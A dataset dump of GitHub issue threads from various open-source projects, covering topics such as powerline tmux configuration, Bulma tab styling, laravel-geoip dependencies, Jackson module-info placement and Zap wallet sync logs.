repo_name
stringlengths
4
136
issue_id
stringlengths
5
10
text
stringlengths
37
4.84M
powerline/powerline
578707268
Title: Powerline ignoring tmux config files Question: username_0: I am trying to customise my powerline status bar in tmux, but none of the changes I make have an impact. I have tried editing the files both in {powerline_root}/config_files/themes and ~/.config/powerline/themes/tmux I am using tmux 3.0a with iTerm2 3.3.9 on MacOS 10.15.3. Changes made in the vim config files affect the bar in vim. Answers: username_1: Do you perhaps use the `powerline-daemon`? If you do, did you try restarting it? username_0: I am running `run-shell` 'powerline-daemon -q'` before running `source "powerline_root}/bindings/tmux/powerline.conf"` in my .tmux.conf. I have also tried killing and restarting the daemon but it doesn't seem to do anything. username_1: `powerline-daemon -q` tries to start a new daemon, it will not kill already running ones. Try `powerline-daemon --replace`. username_0: Yes that's what I meant about killing it and restarting it. I just tried it again with no result. username_1: Oh sorry I must have overlooked that. Actually, in this case I'm kind of clueless though. Perhaps there is another `tmux` config file flying around somewhere? Also try running `powerline-render tmux right` in a terminal and check whether that outputs something that corresponds to your (changed) config. username_0: Yeah there isn't a lot to go off. `powerline-render tmux left` and `powerline-render tmux right` display what is actually shown in the bar. Is there some logging I can look at to determine where it is getting the config from? username_1: In python, try ``` python from powerline import Powerline Powerline('tmux').get_config_paths() ``` username_0: I tried that and I get `[{powerline-root}/config_files, {home}/.config/powerline]`. I also get the same result if I change the input from `tmux` to `vim`, and in fact with anything else I enter. That is `Powerline('aaaaa').get_config_paths()` returns the same thing. I don't know if this is expected or not. username_0: Okay well I'm entirely sure what I did to fix it, but it seems changes made in `{home}/.config/powerline/themes/tmux/default.json` are now working, however anything in `{powerline-root}/config_files/themes/tmux` don't. I'll close this now since it works. Thanks for all your help! Status: Issue closed
Sage-Bionetworks/dccmonitor
570076310
Title: Better all file summary table Question: username_0: The summary table at the top doesn't text wrap on long file names, which pushes the table past the edge of the box. Should either use a better table display (such as reactable tables) or find a way to set a boundary on it and enable text wrapping for file names.<issue_closed> Status: Issue closed
jgthms/bulma
247892814
Title: is-toggle : tabs not equal Question: username_0: Is it about Bulma Is it a bug/feature/question I'm using Bulma **version** [0.5.0] am sure this issue is **not a duplicate**? --> ### Description Tabs are not equal ### Steps to Reproduce use exactly the code from docs : http://bulma.io/documentation/components/tabs/ ### Expected behavior 1st tab is not equal ![selection_184](https://user-images.githubusercontent.com/1063951/28952864-20729d62-78a2-11e7-9c83-c25a4ba58d94.png) (gets same behavior for my own code in my project) ![selection_186](https://user-images.githubusercontent.com/1063951/28952923-939cddf2-78a2-11e7-8f90-0444ff215ffd.png) Answers: username_1: I can't reproduce this. Do you have a Codepen? username_0: Found the responsible : <div class='content'> but don't know why: https://codepen.io/mel47/pen/oeZzaL username_2: It seems to be the margin top applied within the `content.sass` file on line `21`. ```css .content li + li { margin-top: 0.25em; } ``` The first tab will not match this so does not get the margin. Status: Issue closed
polypheny/Polypheny-DB
1153952233
Title: Remove all Java related errors facing the user Question: username_0: ### Operating System (Polypheny-DB) Linux, Windows, macOS ### Polypheny-DB Version v.0.7.0 ### Affected Areas DB, UI ### Browser Chrome, Firefox, Safari, Edge, Opera ### Client Operating System _No response_ ### Bug description **_DISCLAIMER:_** _This is somewhat simply not implemented rather than a Bug but it is desirable to receive clear output in the near future._ Whenever an error occurs the response given to the user should clearly state what was wrong, even syntax wise. However for some cases the Java Error is still returned. E.g. when creating a table with a type that is not supported or is simply misspelled. ![image](https://user-images.githubusercontent.com/64148462/155971198-889e9a07-4eda-46f8-89c2-fbf0c0d3f723.png) This is a specific example of a response that is not desired but is also valid for others. ### Reproduction Steps Execute a SQL Statement like: `create table dummy (id INTERGER NOT NULL, PRIMARY KEY(id))` ### Expected Behavior Return a clear description what the error was and maybe how it can be resolved. E.g.: in the case described above something like: `line 1 column 5. Type: 'INTERGER' is not a supported PolyType` ### Relevant log output ```shell Error: Cannot invoke "org.polypheny.db.type.PolyType.getFamily()" because the return value of "org.polypheny.db.sql.sql.SqlDataTypeSpec.getType()" is null ```
Torann/laravel-geoip
183787136
Title: Unresolvable dependency resolving ... in class Torann\GeoIP\GeoIP Question: username_0: Hi, After upgrading to `1.0.2` (btw, nice changes so far to see), I'm getting this error during tests: `Unresolvable dependency resolving [Parameter #0 [ <required> array $config ]] in class username_1\GeoIP\GeoIP` I've followed the [upgrade guide](http://lyften.com/projects/laravel-geoip/doc/upgrade.html), however I'm pretty sure I'm missing something. I'm running Laravel 5.2 and you may find the current state of my project ([broken](https://travis-ci.org/timegridio/timegrid/builds/168729839#L685)) [in this branch](https://github.com/timegridio/timegrid/tree/upgrade/geoip) Thanks in advance for your support! Answers: username_1: Sounds like you aren't calling GeoIP correctly. If you are using the facade you need to update your `config/app.php` file to the new namespace: ```php 'GeoIP' => \username_1\GeoIP\Facades\GeoIP::class, ``` Also here https://github.com/timegridio/timegrid/blob/b45513ed851e6b3b3aa1f9b11d8d9a8ae00e219f/app/TG/DetectTimezone.php#L13 should look more like this: ```php public function __construct() { $this->geoip = app('geoip'); $this->detect(); } ``` You can also use the helper function `geoip()` to get the GeoIP instance. username_0: Thanks @username_1 for the hints. For the record: So I got the production code [changed as well as tests](https://github.com/timegridio/timegrid/commit/93e3079fd5ffc4878c19bacf7982b0f865fbf8e5), and I'm not sure if I'm getting this the way it should be, but having the tests pass seem to be a good starting point. https://travis-ci.org/timegridio/timegrid/builds/168768522 Status: Issue closed
paulrosen/abcjs
1124604660
Title: Tablature view only Question: username_0: is there a way in the options to disable normal musical notation view and only show tabs? I can't see anywhere to do it. You can replace the div id with a * but then you also lose tabs. Thanks, I'm loving the tabs feature 🥇 Answers: username_1: I can add that feature - it sounds useful. A caveat, though, is that you also lose other info about the music. Most importantly the rhythms of the notes. Look for it in the next release. username_1: There are some complications with this - it's on my list but won't be in the upcoming release.
equalsraf/neovim-qt
416425775
Title: Maximizing on Windows with tabline on causes clipping Question: username_0: Maximizing the Neovim window on Windows with the tabline enabled causes the last line (commands, ...) to clip. Maximized: ![image](https://user-images.githubusercontent.com/18658672/53685843-54a72a00-3d20-11e9-963a-57fd894b7de9.png) Non-Maximized: ![image](https://user-images.githubusercontent.com/18658672/53685841-4c4eef00-3d20-11e9-8186-18ec3c263646.png) Note that this only happens when maximized, i.e. not when the window covers half the screen. A workaround is therefore to force the window on one side (e.g. using Windows-Left) and then stretching it to fill almost the full screen. Another workaround is to disable the GUI tabline. I'm using the Nvim-QT version bundled with the latest Nvim version, i.e. 0.3.4 and Windows 10. Answers: username_1: A fix for this was merged in https://github.com/username_1/neovim-qt/pull/516 but it is not available in that version. username_0: Perfect; thanks! Status: Issue closed username_1: If you need to grab a build, there should be one marked as staging in the releases page. username_2: I am on nvim 0.3.8, and still seeing this issue. Has the fix made it into a release yet? username_1: Yes it did, reopening then. @username_2 can you provide some more details. OS, nvim and nvim-qt versions? username_2: Apologies! I'm on Windows 10, running version 0.3.8, from the neovim releases page. Not sure how to get the nvim-qt version, but it's the one that came packaged with neovim. Disabling the external tabline seems to clear things up for now. username_3: For neovim builds, we are waiting for the next release of nvim-qt, very much hoping that https://github.com/username_1/neovim-qt/pull/557 will be included. username_1: Maximizing the Neovim window on Windows with the tabline enabled causes the last line (commands, ...) to clip. Maximized: ![image](https://user-images.githubusercontent.com/18658672/53685843-54a72a00-3d20-11e9-963a-57fd894b7de9.png) Non-Maximized: ![image](https://user-images.githubusercontent.com/18658672/53685841-4c4eef00-3d20-11e9-8186-18ec3c263646.png) Note that this only happens when maximized, i.e. not when the window covers half the screen. A workaround is therefore to force the window on one side (e.g. using Windows-Left) and then stretching it to fill almost the full screen. Another workaround is to disable the GUI tabline. I'm using the Nvim-QT version bundled with the latest Nvim version, i.e. 0.3.4 and Windows 10. username_1: Well let me press the merge button then. I'm waiting on a couple of fixes, but if neovim is releasing shortly i'm ok with tagging a release. username_3: @username_1 we are aiming to release Neovim 0.4 in the next 2-3 weeks. username_4: FWIW, I am on Linux using neovim 0.4.3 and neovim-qt 0.2.15 and this issue is fixed for me. username_5: Marking as closed. As per comment above, this issue is fixed as of `v0.2.15`. Status: Issue closed
nfssuzukaze/Blog
713600897
Title: 计算机的抽象及技术 Question: username_0: # 计算机的抽象及技术 ## 1. 计算机体系结构中的 8 个伟大思想 1. **面向摩尔定律的设计** 摩尔定律指出,集成电路上可容纳晶体管的数量每 18~24 个月翻一番。由于计算机设计通常需要几年的时间,因此项目结束时芯片的集成度较之项目开始时很容易翻一番甚至翻两番 所以**设计师应当预测设计完成时的工艺和技术水平,而不是设计开始时的工艺** 2. **使用抽象简化设计** 计算机架构师和程序员都需要足够的开发效率。而提高硬件和软件开发效率主要技术之一就是使用 **抽象** 来表征不同级别的设计 3. **加速大概率事件** **加速大概率事件**通常比优化小概率事件更能提高性能。且大概率事件通常比小概率事件简单,因而更易于对其进行优化以提高性能 4. **通过并行提高性能** 5. **通过流水线提高性能** 6. **通过预测提高性能** 假设预测错误后恢复的代价不大,而且预测的准确率相对较高,那么通过预测的方式提前开始工作,要比等到确定知道能执行后再工作的效率高一些 7. **存储器层次结构** 现如今,计算机价格的很大一部分都在存储器上。人们总希望存储器能够**价格更便宜,速度更快,容量更大**。但实际上速度越快的存储器容量越小,价格越昂贵 为了使得计算机看上去既有足够大的容量,足够低的价格,又有足够快的速度,于是便出现了存储器的层次结构:位于顶层的存储器速度最快,容量最小,价格最昂贵;而位于底层的存储器速度最慢,容量最大,价格最便宜 8. **通过冗余提高可靠性** 计算机工作时不仅要快,还要稳定可靠。任何一个器件都有可能失效,故可以设计冗余的器件来提高计算机的**可靠性**。当一个器件失效后,对应的冗余器件可以代替其完成对应的工作并帮助检查错误 ## 2. 程序表面之下 从复杂的程序到简单的指令,需要经过几个软件层次来将高层的操作(高级语言描述)逐步翻译或解释成简单的计算机指令。这就是**抽象**的一个典型的例子 ![20201002195945](https://user-images.githubusercontent.com/70133960/94921005-fc32a280-04e9-11eb-9b60-af260af9fadb.png) 如图,最外层是应用软件,中间是系统软件,最里层是硬件 系统软件有很多种,其中最主要的两种分别是**操作系统**和**编译器** **操作系统**的作用有: + 处理基本的输入,输出 + 分配内存和外存 + 为多个同时运行的应用提供资源的共享与保护 当前常用的操作系统有 `Linux`,`iOS`和`Windows` **编译器**的作用是将高级语言编写的程序 (如 `C++`,`Java` 等语言) 翻译成机器级语言 ### 计算机语言的发展 + 第一代程序员使用的语言是由 `0` 和 `1` 组成的二进制**机器语言**,编写起来非常繁杂而且难以理解,出错后也很难找出错误的地方 + 故此,人们便以一些助记符代替指令,出现了**汇编语言**,使得程序的编写得到了极大的简化,同时,人们也开发了专门的软件**汇编器**用于将助记符翻译成二进制指令使得计算机能够理解,从而执行程序 + 然而用汇编语言编写程序要求程序员要像计算机一样思考,逐条编写需要执行的指令。可读性不够高,编写效率也低,而且当时不同的机器其汇编指令很有可能也不同,编写出来的汇编程序可移植性很低 + 在此情形下,出现了高级语言(如 `C` `C++` `Java` 等)。高级语言及其对应的编译器极大程度地提高了软件的生产效率与质量 + 高级语言有着更好的可读性,看上去更像文本,而不是汇编语言那样像密码表一样 + 高级语言只用较少的语言就能够表达意图,有着极高的简明性,极大幅度地缩短了软件的生产周期 + 高级语言编写的程序搭配上对应的编译器和汇编器可以在任意的计算机上运行,有着极高的可移植性
hierynomus/smbj
255051534
Title: [Question] When do we need bcpkix? Question: username_0: From the list of compile dependencies, it looks like SMBJ requires bcpkix-jdk15on. However, in our environment, it works just fine without the jar. When is bcpkix needed? Thanks. Answers: username_1: You're right, just checked that it is not needed. It is removed now from the dependency list. Thanks for checking. Status: Issue closed
DGZ48/redman
301073229
Title: 認証の実装 Question: username_0: Spring securityでIdpはgoogle Answers: username_0: なんとなく https://devlog.arksystems.co.jp/2017/12/04/4410/ でjsonのemailをdbに突っ込むだけでいい気がするな username_1: DBにいれるのはsubだけだと思うで。 nameとかユーザ属性はセッションで、都度id_tokenまたはuserinfoから取得したもの使うべきだとおも。 オフライン時にもメール通知とか必要ならしゃーないけど、都度updateするかんじかな。 username_0: あーこれが識別子なんですね username_1: id_tokenの仕様見てみたらいいよ username_0: githubがopenidスコープをサポートしてないのでgoogleと同じようにやろうとすると独自実装(IDの名寄せ)がいるような感じです https://developer.github.com/apps/building-oauth-apps/scopes-for-oauth-apps/
phel-lang/phel-lang
835833804
Title: Function request: `table-key-exists` Question: username_0: Currently to implement this I do: ```phel (if-not (nil? (find (fn [key] (= key "first_name")) (keys @{"first_name" "Mario"}))) true false) ``` Then I look if the output is not nil to confirm that the key is in the given table. This could maybe be a function like `table-key-exists` (in PHP array_key_exists) or something like that. Answers: username_1: Resolved with PR #267. The method is named `contains?`.
jagrosh/Selfbot
193519346
Title: Not an issue but an idea Question: username_0: Maybe have it so other people can use the commands so you are pretty much the server bot Answers: username_1: Yeaaaah no. Most of commands are mostly used for changing settings, and if anybody could eval.. That would result in making some sort of permission system, which isn't the point of a selfbot. username_2: This will not be happening. The Discord Developers themselves have stated that the _only_ way selfbots are allowed is if they respond to the user's own account and no one else. If you want a server bot, consider using a public bot or writing/hosting your own on a bot account. username_0: Okay but im still looking forward to future updates. Also maybe have google show multiple searches instead of one ;P username_2: In a future update, I'll change it so that if you put a number as the first thing you're searching for, it will return that many results (up to 10 max probably) No ETA because I am quite busy this and next week. username_2: multiple google search results has been added as of version 0.3 for a prefix of `self.` the command to search for the top 5 results for "discord" would be: `self.google 5 discord` Status: Issue closed
ActiveLogin/ActiveLogin.Authentication
408042904
Title: Grattis & docs Question: username_0: Congratulations and thank you for this release. I was hoping to get a README showing basic usage when you (like me) don't use the MS MVC platform (aka. ASP.Net Core). What is the "core" library and what is a simple usage of it (and which tests (link) should I read for more details)? Answers: username_1: Thanks @username_0! We are also glad to have released our first version :) That's great feedback! I'll make sure to get more on this topic in the README. Below are my initial ideas, please have input! The easiest way, if you can't use ASP.NET Core, is to use deploy some kind of OpenId Connect IdP as you say. We recommend Identity Server 4 that also runs on core. If it's a possibility to run the IdP in Azure (client can still be somewhere else), we have a ready template do deploy this. The docs is a bit narrow on only suggesting this for storing certificates, but the [template does setup the rest as well](https://github.com/ActiveLogin/ActiveLogin.Authentication/blob/master/docs/getting-started-bankid.md#storing-certificates-in-azure ). [Our samples](https://github.com/ActiveLogin/ActiveLogin.Authentication#can-i-try-out-a-live-demo-of-the-samples) uses this template. Independent on whether or not Azure is an alternative, I'd love to have a minimal IdP that is Dockerized and ready to be used in a container scenario. I'd even suggest we change our current samples to use containers instead when running in Azure. I'l file an issue on this. And, finally, if you want to use it in other .NET scenarios there are still a few things that you can use as long as you can run .NET Standard 2.0 or .NET Framework 4.6.1 (we compile for both as per MIcrosofts recommendation) First of all, we extracted the handling (parse/validate/normalize) of Swedish personal identity numbers into its own library. Written in F# but can be used form any language in .NET of course: - https://github.com/ActiveLogin/ActiveLogin.Identity - https://www.nuget.org/packages/ActiveLogin.Identity.Swedish/ Then, we don't have a core package as that, but the wrappers of the API:s are extracted into own packages to allow for other integrations to use them. A few lines of [docs can be found here](https://github.com/ActiveLogin/ActiveLogin.Authentication#do-i-need-to-use-your-aspnet-core-auth-provider-or-can-just-use-the-api). - https://github.com/ActiveLogin/ActiveLogin.Authentication/tree/master/src/ActiveLogin.Authentication.BankId.Api - https://github.com/ActiveLogin/ActiveLogin.Authentication/tree/master/src/ActiveLogin.Authentication.GrandId.Api - https://www.nuget.org/packages/ActiveLogin.Authentication.BankId.AspNetCore/ - https://www.nuget.org/packages/ActiveLogin.Authentication.GrandId.AspNetCore/ Tests available here: - https://github.com/ActiveLogin/ActiveLogin.Authentication/tree/master/test/ActiveLogin.Authentication.BankId.Api.Test - https://github.com/ActiveLogin/ActiveLogin.Authentication/tree/master/test/ActiveLogin.Authentication.GrandId.Api.Test A lot of the rest of the code is very specific to how ASP.NET Core wants you to do the authentication integration, even though there are a few things that could be refactored into it's own Core package. If you are looking at using it for another scenario, please keep us informed and see if we can refactor it! username_0: Awesome that you're using F#. I'm using Suave as my web server (obviously ;)), so to see more people using F# is great. I'm in Google Cloud but primarily, I'm in Kubernetes with no cloud-specific infrastructure in use; so it's all k8s/docker/linux: https://gist.github.com/username_0/1078452fbbee851c63733cee6c45597b for us. After doing a very thurough review of the OIDC platforms available, we decided to use https://github.com/ory/hydra which is both certified and has a plethora of tests, much more than IdentityServer. I know from experience that unit testing your software gives much better results, and this is particularly important in security-critical software. Perhaps we can create a Helm chart for this project? I'm happy to spend some time with you and help you [get started](https://github.com/username_0/linux-intro-course/blob/master/chapter-04/README.md#starting-minikube) if you want help (I'm in STHLM). It can be done in an hour and will really help your uptake. username_1: Great idea! We are also in Stockholm! Let's arrange a lunch and some hands on work at our office :) I'll make sure @viktorvan joins, who is our main contributor for the F# parts. Thanks for the info on Hydra, looks good! Please drop me an email at peter [at] orneholm.com so we can arrange the details. Status: Issue closed username_1: Sorry for no update on the docker/Helm stuff. We have had to prioritize a few other things. I think the issue #82 replaces this one, so I'll close this. @username_0 Would you still be interested in this solution? Should we prioritize the docker stuff for fall?
algorithm-archivists/algorithm-archive
367900981
Title: How can we show good encapsulation and OOP practice? Question: username_0: In Pull request #438 (Gaussian elimination in Java) the discussion came up, how we can show good practice in terms of OOP and encapsulation, and which are the appropriate algorithms to use those techniques. Answers: username_1: The goal of the AAA is not to show off good practice in certain languages. The main goal is to explain algorithms with text and code examples. If an algorithm calls for object oriented programming, then that will reflect in the code examples. Take a look at [Stable Marriage](https://www.algorithm-archive.org/contents/stable_marriage_problem/stable_marriage_problem.html), for example. The Java implementation utilizes a `Person` class with properly encapsulated data and so do all language implementations that support OOP. The suggestion made in #438 is *not* a good example of encapsulation and good OOP practice and I know that the majority of the contributors of this project would agree with me. It's a hack around having to pass arguments to a method that only works because the example code's `main` method resides in the same static class as the method in question. username_2: I already stated this in the PR #438, but I'll repeat it here just for the sake of discussion: "it doesn't matter a lot having it as a variable or as a member of the class in terms of readability, i just want to have code in this project to be of the maximum quality possible (in my opinion at least, seeing that in this case some of you disagree with me) but if you guys think that it is fine as it is, so be it :)" username_3: In my opinion it actually does matter. A class member is there to describe a concrete instance of a class. As an example a circle can have multiple radii and thus be strictly different things. An algorithm on the other hand always (or mostly always depending on how much randomness you introduce) behave the same no matter the parameters. So they are indeed NOT different instances of the same class but the same instance just with different input. The only time I would put an algorithm into a class is in a task queue. But then it is a task and not an algorithm i want to abstract of. Another reason I would disagree with you is that it leads to bad and/or to verbose code. Take this as an example. ```java int x = Math.abs(num); ``` I hope you agree that that is the easiest and most understandable way of getting the absolute value of num. According to your argument the code should look like following ```java absClass abs = Math.abs(num); int x = abs.invoke() ``` and that is very unnecessary in my opinion. In general I agree with @username_1 that this is bad OOP style and just a hack around having to pass arguments, which isn't helping at all because you have to pass the arguments somewhere anyway. And if I have the choice between passing it to a constructor or to an algorithm directly my choice will be the algorithm in 99% of the cases. username_2: Yeah i absolutely agree with you @username_3, the code is better and more OOP without creating instances of a class that doesn't make sense to create, and yes, probably in a real application this code would be just a part of a function inside a class that does other things, absolutely, i was not referring to that in my review at all. the class methods are static, so you can access them without creating an object, and the methods can access the array when it is a member the same way as if it were an argument. Now the thing that i think you guys are trying to convey is that the code is not usable or extensible if we put the array as a member of the class because if we want to change the array from other class we have to create an object or calling a "set" method or something similar, and that's absolutely correct, if we want code here to be copy&paste-friendly then we should do it like you guys say, my opinion only works for a proof of concept code that is by its own (which i thought we were going to put in the archive, but it seems not) so sorry for all the useless discussion, really
opendatahub-io/opendatahub-operator
840050456
Title: Open Data Hub operator doesn't show up under Community Operators on operatorhub.io Question: username_0: **Describe the bug** https://operatorhub.io/?keyword=open+data+hub doesn't have this operator show up. **To Reproduce** Steps to reproduce the behavior: 1. Go to https://operatorhub.io/?keyword=open+data+hub or make it one word, it's not there. **Expected behavior** ODH Tile to show up **Screenshots** ![Screenshot from 2021-03-24 14-46-13](https://user-images.githubusercontent.com/4354948/112367158-f5723480-8caf-11eb-93bf-cc970460aad2.png) **Additional context** add it in here: https://github.com/operator-framework/community-operators/tree/master/community-operators Answers: username_1: @username_0 Open Data Hub is not available on operatorhub.io, it is only available on Operatohub on Openshift Status: Issue closed
theintern/leadfoot
103702991
Title: Array<Element> Loop Question: username_0: Hi, using .findAllByCssSelector('.css-selector') I get an <Element> array. I would like to search for an element which has a particular `VisibleText` and if found I would like to get that element, not its text. Any suggestion? Status: Issue closed Answers: username_1: Thanks for writing! In order to keep the bug tracker focused only on the development of Intern itself, we ask that people please follow the [contribution guidelines](https://github.com/theintern/leadfoot/blob/master/CONTRIBUTING.md) and not submit questions to the bug tracker. This is a perfect Q&A question for [Stack Overflow](http://stackoverflow.com/questions/ask?tags=intern), so please submit there so other people with the same question can find it. Thank you!
CodeAtCode/Glossary
131381153
Title: Genesis support Question: username_0: In public/includes e lo includiamo nel costruct del file class-glossary.php Answers: username_1: @username_0 dove lo metto, considerando che si tratta di un file solo apposito per genesis e io vorrei includerlo SOLO nel caso esiste genesis e sia attivo! Mi dai una dritta per strutturare bene il progetto/file/cartella? :D username_0: In public/includes e lo includiamo nel costruct del file class-glossary.php username_1: Ok :) Status: Issue closed username_1: Non è possibile attualmente aggiungere nessun supporto per genesis poiché non esiste uno schema.org adatto per il glossario. Per ora chiudo la issue.
FasterXML/jackson
1034458254
Title: Can Jackson use `--release 9` to generate module info instead of 11? Question: username_0: I noticed that Jackson seemed to put the `module-info.class` into `META-INF/versions/11`. This has brought me a lot of trouble and made me very distressed. I believe that almost no one is using JDK 9/10 now. But many Java 8 projects are using `--release 9` to compile `module-info.java` separately for support JPMS. Jackson's choice to put `module-info.class` in the `META-INF/versions/11` caused very troublesome damage, because Jackson could not be recognized as a module under `--release 9`. The above problem is more serious. If a library supports JPMS in the above manner, then when it wants to add a dependency on jackson, it has to ask all its users to update the way to support JPMS. This kind of infectious compatibility damage is a big problem. And for me, there is another worry: I use the [kala-retro8](https://github.com/username_0/kala-retro8) plugin to support JPMS for projects targeting Java 8. It compiles the project using `--release 9`, and then modifies all classes except `module-info.class` to Java 8 bytecode. This simple solution solves a lot of problems, but it can't work with Jackson now. Switching to release 11 should not be feasible. Because of JEP 181, it seems that Java 11 bytecode can not be simply modified to Java 8 bytecode. So I want to request that Jackson's `module-info.class` be put into `versions/9` instead of `versions/11`. This will make more users happy, and I think it will hardly break compatibility. Or, if the above things cannot be done, I want to at least let Jackson re-introduce `Automatic-Module-Name`, although this still can't solve all the problems, but at least part of the program can be compiled. Answers: username_1: Hi @username_2! Have you heard anything more about issues similar to mentioned here? Or do you have other comments: at this point I am not convinced of the need for changes but I admit my experience on module-enabled systems is limited (ditto for tooling). username_2: Yes I think we have to do this, there are a lot of libraries now that perform version validation on the META-INF/versions folder, I'm hitting this with animal sniffer as well :( username_2: hard no on using automatic-module-name, not able to build JDK9^ runtime artifacts, not an option sorry man username_1: Just to make sure: was not even considering automatic-module-name, triple nope. :) So on the other part, JDK 9 baseline declaration vs JDK 11 -- happy to make changes if and when they are needed. Just need to validate that (a) this is the right thing to do and obviously (b) exactly what to do :) All I need is an example PR for one of components (jackson-core). And I think this change went in 2.13, not needed for 2.12 (there were other issues there)? I am hoping not to have to do any full 2.12.x patches. Although if one must then one must. For 2.13 this would go in 2.13.2. username_1: Issue filed against jackson-databind: a username_1: Planning to fix this via: https://github.com/FasterXML/jackson-bom/pull/47 to merged in for 2.13.3. Status: Issue closed
iotait/apprenticeship
517192330
Title: Rails Getting Started Tutorial Question: username_0: https://www.railstutorial.org/book Answers: username_1: Finished Monday (11/4) at: https://www.railstutorial.org/book/beginning#sec-heroku_commands username_0: Oh cool, I didn’t know that deploy to heroku section was there. That’ll tie in to #16 nicely. Doubt he’ll get into codeship, but codeship is definitely a nice-to-have ot a good distraction when you need it. Status: Issue closed username_0: I was just skimming though the rails tutorial again and thought of a couple things. 1. Did you push this code anywhere on github for me to take a look at or did you just do it locally? If not, why don’t you create a repo and push up what you’ve got for me to take a look? 1. This tutorial does its testing using mini-test which is the rails default, BUT I don’t know mini-test really at all. Every project I’ve ever worked on has use the other major testing framework: rspec. I’d like for you to get familiar with that testing tool. So could you look that up and convert these test to rspec? 1. How did you feel about the test driven development approach? 1. Did you get guard running? username_0: https://www.railstutorial.org/book username_1: 1. I did push each to my repo, but each are private. I can make each public though so you can have a look. 2. I can definitely take a look at it and convert to rspec. 3. I like the test-driven development approach. We did it occasionally at JMU and I find it to be helpful. 4. I got guard running, but the tutorial didn't work with it much, is that something I should look up separately as well? username_0: Yeah, having guard running while you’re developing can be really nice. It’s worth getting setup and used to using as you move forward. username_1: I found an older version of the same walkthrough that uses rspec and goes more in-depth to guard. I will walk through that one tomorrow and convert to rspec and get guard setup! https://rails-3-2.railstutorial.org/book/static_pages username_1: @username_0 I'm struggling with rspec and keep getting errors that I can't diagnose. Not sure if you still had some time today to meet up. If not, I can work on other things and come back to it Monday when we meet. Status: Issue closed
fomkin/korolev
768355808
Title: akka.stream.impl.ReactiveStreamsCompliance$SignalThrewException: korolev.akka.util.KorolevStreamSubscriber Question: username_0: ``` {"log":"Caused by: akka.stream.impl.ReactiveStreamsCompliance$SignalThrewException: [email protected]\n","stream":"stdout","time":"2020-12-16T01:06:13.067195009Z"} {"log":"\u0009at akka.stream.impl.ReactiveStreamsCompliance$.tryOnError(ReactiveStreamsCompliance.scala:94)\n","stream":"stdout","time":"2020-12-16T01:06:13.067200066Z"} {"log":"\u0009at akka.stream.impl.VirtualProcessor.rec$3(StreamLayout.scala:266)\n","stream":"stdout","time":"2020-12-16T01:06:13.067204889Z"} {"log":"\u0009at akka.stream.impl.VirtualProcessor.onError(StreamLayout.scala:284)\n","stream":"stdout","time":"2020-12-16T01:06:13.067209553Z"} {"log":"\u0009at akka.stream.impl.ReactiveStreamsCompliance$.tryOnError(ReactiveStreamsCompliance.scala:92)\n","stream":"stdout","time":"2020-12-16T01:06:13.067214245Z"} {"log":"\u0009... 26 more\n","stream":"stdout","time":"2020-12-16T01:06:13.067219045Z"} {"log":"Caused by: java.lang.NullPointerException\n","stream":"stdout","time":"2020-12-16T01:06:13.067223593Z"} {"log":"\u0009at korolev.akka.util.KorolevStreamSubscriber.onError(KorolevStreamSubscriber.scala:48)\n","stream":"stdout","time":"2020-12-16T01:06:13.06722878Z"} {"log":"\u0009at akka.stream.impl.ReactiveStreamsCompliance$.tryOnError(ReactiveStreamsCompliance.scala:92)\n","stream":"stdout","time":"2020-12-16T01:06:13.067233517Z"} ``` env: oracle/graalvm-ce:20.2.0-java11 Answers: username_1: Related https://github.com/username_1/korolev/issues/328 Status: Issue closed
matrix-org/synapse
490544920
Title: Add synapse-s3-storage-provider to Debian/Ubuntu matrix-synapse-py3 venv Question: username_0: At present, the venv for Matrix Synapse does not include the [synapse-s3-storage-provider](https://github.com/matrix-org/synapse-s3-storage-provider) in its site packages. It's possible to just activate the environment and install it manually, but I would like to see it packaged in future builds like some other optional dependencies are.
LN-Zap/zap-desktop
435692171
Title: Sync process hangs at 99% for a long time when recovering a wallet whist lnd scans blocks for recoverable addresses Question: username_0: ## Description Sync process hangs at 99% for a long time when recovering a wallet whist lnd scans blocks for recoverable addresses. ## Expected Behavior Sync screen should factor in the additional time it takes to scan old blocks for recoverable addresses. ## Actual Behavior Sync screen hangs at 99% whilst old blocks are scanned. Log output from lnd shows what is happening in the background: ``` zap:lnd [INF] 2019-04-22 13:04:08.973 [INF] LNWL: RECOVERY MODE ENABLED -- rescanning for used addresses with recovery_window=250 +759ms zap:lnd [INF] 2019-04-22 13:04:08.983 [INF] LNWL: Seed birthday surpassed, starting recovery of wallet from height=567221 hash=0000000000000000002e2998f76507736d96df2f2cb45a744795d7316bea2b8a with recovery-window=250 +10ms zap:lnd [INF] 2019-04-22 13:04:08.996 [INF] LNWL: Scanning 780 blocks for recoverable addresses +13ms zap:lnd [INF] 2019-04-22 13:04:12.097 [INF] BTCN: Waiting for more block headers, then will start cfheaders sync from height 570000... +3s zap:lnd [INF] 2019-04-22 13:04:12.097 [INF] BTCN: Starting cfheaders sync from (block_height=570000, block_hash=0000000000000000000822cf76247f1ecec0a82dbecb3b482ec4d2d154e0cd1d) to (block_height=572746, block_hash=000000000000000000281a467a2f64f5b0283f9fd40c0bc3678776d33cf75723) +1ms zap:lnd [INF] 2019-04-22 13:04:12.099 [INF] BTCN: Starting cfheaders sync for filter_type=0 +2ms zap:lnd [INF] 2019-04-22 13:04:12.227 [INF] BTCN: Fetching set of checkpointed cfheaders filters from height=570000, hash=620f1c748b3965f3e8eed33d74bbaead8b2b584a028a7040f202277817ffbd5c +127ms zap:lnd [INF] 2019-04-22 13:04:12.227 [INF] BTCN: Starting to query for cfheaders from checkpoint_interval=570 +1ms zap:lnd [INF] 2019-04-22 13:04:12.227 [INF] BTCN: Attempting to query for 2 cfheader batches +0ms zap:lnd [INF] 2019-04-22 13:04:12.687 [INF] BTCN: Verified 83000 filter headers in the last 12.22s (height 570001, 2019-04-03 11:22:56 +0200 CEST) +460ms zap:main [INF] Sending message to renderer process: { msg: 'lndCfilterHeight', data: 570001 } +0ms zap:lnd [INF] 2019-04-22 13:04:15.714 [INF] BTCN: Fully caught up with cfheaders at height 572746, waiting at tip for new blocks +3s zap:lnd [INF] 2019-04-22 13:04:15.715 [INF] BTCN: Attempting to fetch set of un-checkpointed filters at height=572746, hash=000000000000000000281a467a2f64f5b0283f9fd40c0bc3678776d33cf75723 +0ms zap:lnd [INF] 2019-04-22 13:07:07.455 [INF] LNWL: Recovered addresses from blocks 567221-568000 +3m zap:lnd [INF] 2019-04-22 13:07:07.613 [INF] LNWL: Scanning 2000 blocks for recoverable addresses +157ms zap:lnd [INF] 2019-04-22 13:08:27.351 [INF] LNWL: Fetching block height=568358 hash=0000000000000000001e2c52b041dc46c93a00a6e123ac6ff2935beb31469b90 +1m zap:lnd [INF] 2019-04-22 